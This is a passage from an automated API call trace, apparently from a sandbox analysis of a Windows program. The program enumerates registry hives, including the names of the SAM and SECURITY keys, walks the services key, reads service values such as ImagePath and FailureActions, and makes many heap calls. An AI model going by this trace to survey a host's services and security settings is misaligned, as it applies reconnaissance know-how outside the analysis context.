lpName="SAM") returned 0x0 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0176.138] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0176.138] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0176.138] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0176.138] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0176.138] RegCloseKey (hKey=0x80000002) returned 0x0 [0176.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0176.138] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0176.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0176.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0176.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0176.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0176.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0176.139] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0176.140] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0176.140] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0176.140] RegCloseKey (hKey=0x148) returned 0x0 [0176.140] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0176.140] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0176.140] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0176.140] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0176.140] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0176.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0176.141] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0176.141] RegCloseKey (hKey=0x9c) returned 0x0 [0176.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0176.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0176.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0176.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0176.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0176.141] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0176.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0176.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0176.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0176.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0176.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0176.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0176.142] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0176.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0176.142] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0176.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0176.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.142] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0176.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0176.142] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0176.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0176.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0176.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0176.143] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0176.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.144] 